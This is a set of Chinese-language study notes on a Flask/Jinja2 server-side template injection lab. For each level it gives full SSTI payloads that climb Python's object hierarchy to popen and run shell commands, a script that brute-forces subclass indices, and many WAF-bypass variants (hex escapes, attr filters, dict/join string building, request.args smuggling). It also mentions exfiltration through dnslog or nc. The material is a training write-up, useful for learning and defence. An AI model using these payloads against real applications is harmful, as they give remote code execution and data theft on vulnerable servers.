Flask
来源:https://xz.aliyun.com/t/12181#toc-8
笔记
魔法方法
__class__
用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型; 也是类的实例的属性,表示实例对象的类。
例:[].__class__
__bases__
用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。
例:[].__class__.__bases__
__mro__
获取基类,包含了当前类对象所有继承的基类
例:
''.__class__.__mro__
''.__class__.__mro__[-1]
__subclasses__()
获取当前类的所有子类,即Object的子类。通过拿到Object的子类,使用其中的一些函数,进行文件读取或者命令执行。
例:''.__class__.__mro__[-1].__subclasses__()
__init__
重载子类,获取子类初始化的属性
__globals__
函数会以字典的形式返回当前位置的全部全局变量
例:os._wrap_close.__init__.__globals__
可以获取到os中的一些函数,进行文件读取。
lipsum
可以用于获得__builtins__
,lipsum.__globals__
有os模块
{{(lipsum|string|list)}}
能获得字符位置
解题示例
因某种原因构造出来的payload无法直接使用,需要逐个输入魔法方法
直接从github下载的sstilab会出现flask和jinja2的兼容版本问题,在windows上直接使用作者留下的安装方式不会出现报错,但在ubuntu上会提示无法导入escape模块
1:一句话
1 2 3 4
| {% for c in ''.__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}//依不同题目替换此行 {% endif %}{% endfor %}
|
2:脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
url = "http://127.0.0.1:5000/level/1"
for i in range(300): data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'} try: response = requests.post(url,data=data) if response.status_code == 200: if "_wrap_close" in response.text: print(i,"----->",response.text) break except : pass
|
构造出来的payload示例:
1
| {{''.__class__.__base__.__subclasses__()[147].__init__.__globals__['popen']('type flag').read()}}
|
level 1
如以上解题示例2所示,先输入
1
| "".__class__.__base__.__subclasses__()
|
获得当前所有子类列表,使用脚本选择os._wrap_close,为147,选择函数popen执行查看文件命令,最后使用read()读取
level 2
输入检测得知{{`被WAF防御,需要进行替代
可使`{{%print(...)%}}
方式代替{{}}`,余下步骤相同
## level 3(做不出来)
仅会显示输入的语句是否正确
查看下wp
需要使用dnslog外带,也可使用nc命令将文件回显到自己服务器上
但似乎跟前面一样,若构造完整的payload直接输入无法的到结果,之前可能显示“no this level”或者“Hello ”
## level 4
过滤了`[]`
1 2
| __getitem()__返回所给的键对应的值,代替索引的[] __getattribute__获取对象属性或方法,代替魔术方法的[]
|
payload:
1
| {{''.__class__.__base__.__subclasses__().__getitem__(147).__init__.__globals__.__getitem('popen')('type flag').read()}}
|
## level 5
过滤“\”“' "”
1
| request.args:Flask框架中的特殊参数,接受URL地址中的变量数据,此处我们就可以通过构造带参数的url,配合request.args获取构造参数的内容来绕过限制
|
paylaod:
1 2 3
| POST:{{().__class__.__base__.__subclasses__()[147].__init__.__globals__[request.args.a](request.args.b).read()}}
GET:a=popen&b=type flag
|
## level 6
过滤“_”
需对“_”进行十六进制编码(\x5f)后结合过滤器连接绕过
过滤器:过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数;可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器
1 2 3 4 5 6 7 8 9 10 11
| length()获取一个序列或者字典的长度并将其返回 int()将值转换为int类型; float()将值转换为float类型; lower()将字符串转换为小写; upper()将字符串转换为大写; reverse()反转字符串; replace(value,old,new)将value中的old替换为new list()将变量转换为列表类型; string()将变量转换成字符串类型; join()将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用; attr()获取对象的属性;
|
payload:
1
| {{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(147)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('type flag')|attr("read")()}}
|
这次倒是正常出现flag了
## level 7
过滤了“.”
利用“[]”绕过
payload:
1
| {{''['__class__']['__base__']['__subclasses__']()[147]['__init__']['__globals__']['popen']('type flag')['read']()}}
|
单引号改()显示no this level
## level 8
过滤关键字:class arg form value data request init global open mro base attr
方法如下:
1 2 3 4 5 6
| 1.字符串拼接 ''['__clas''s__']['__ba''se__']['__subc''lasses__']()[147]['__in''it__']['__glo''bals__']['po''pen']('type flag')['read']() 或: { 2.使用过滤器,如join()拼接字符串、reverse()反转字符串、replace()替换字符 3.编码
|
## level 9
过滤数字
方法1:使用getitem避免索引
方法2;使用过滤器length()将字符长度转换为数字
1 2 3 4
| {% for c in ''.__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}} {% endif %}{% endfor %}
|
## level 10
过滤config,没有全局变量,目标变为获取config文件
可使用变量current_app
current_app:允许在应用程序上下文之外访问应用程序对象,如当前请求的应用程序实例。通过current_app变量,可以访问Flask应用程序对象的各种属性和方法,如配置信息、扩展和插件等。
payload:
1
| {{get_flashed_messages.__globals__['current_app'].config}}
|
关于url_for方法:定位,如返回``
关于get_flashed_message:可显示字符返回信息,需调用flash()
## level 11
过滤“\”,“+”,“request”,“[ ]”,“" '”
引号过滤:`{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 原构造链: ().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
payload: {%set a=dict(__cla=a,ss__=b)|join %}# __class__ {%set b=dict(__bas=a,e__=b)|join %}# __base__ {%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__ {%set d=dict(__ge=a,titem__=a)|join%}# __getitem__ {%set e=dict(__in=a,it__=b)|join %}# __init__ {%set f=dict(__glo=a,bals__=b)|join %}# __globals__ {%set g=dict(pop=a,en=b)|join %}# popen {%set h=self|string|attr(d)(18)%}# 空格 {%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag {%set j=dict(read=a)|join%}# read {{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接
|
level 12
过滤“_”,“.” ,“\” “’ “”,“[ ]”和数字
构造链:{{x.__init__.__globals__['__builtins__']}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| payload: get: ?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read() post: {%set a={}|select|string|list%} {%set b=dict(pop=a)|join%} {%set c=a|attr(b)(self|string|length)%} {%set d=(c,c,dict(getitem=a)|join,c,c)|join%} {%set e=dict(args=a)|join%} {%set f=dict(get=a)|join%} {%set g=dict(z=a)|join%} {%set gg=dict(zz=a)|join%} {%set ggg=dict(zzz=a)|join%} {%set gggg=dict(zzzz=a)|join%} {%set ggggg=dict(zzzzz=a)|join%} {{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}
|
level 13
过滤:’_’, ‘.’, ‘\’, ‘’’, ‘“’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| {%set a={}|select|string|list%} {%set ax={}|select|string|list%} {%set aa=dict(ssss=a)|join%} {%set aaa=dict(ssssss=a)|join%} {%set aaaa=dict(ss=a)|join%} {%set aaaaa=dict(sssss=a)|join%} {%set b=dict(pop=a)|join%} # pop {%set c=a|attr(b)(aa|length*aaa|length)%} # _ {%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格 {%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__ {%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__ {%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__ {%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__ {%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__ {%set ee=(dict(o=a,s=a)|join)|join%} # os {%set eee=(dict(po=a,pen=a)|join)|join%} # popen {%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%} # type flag {%set f=(dict(rea=a,d=a)|join)|join%} # read {{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}
|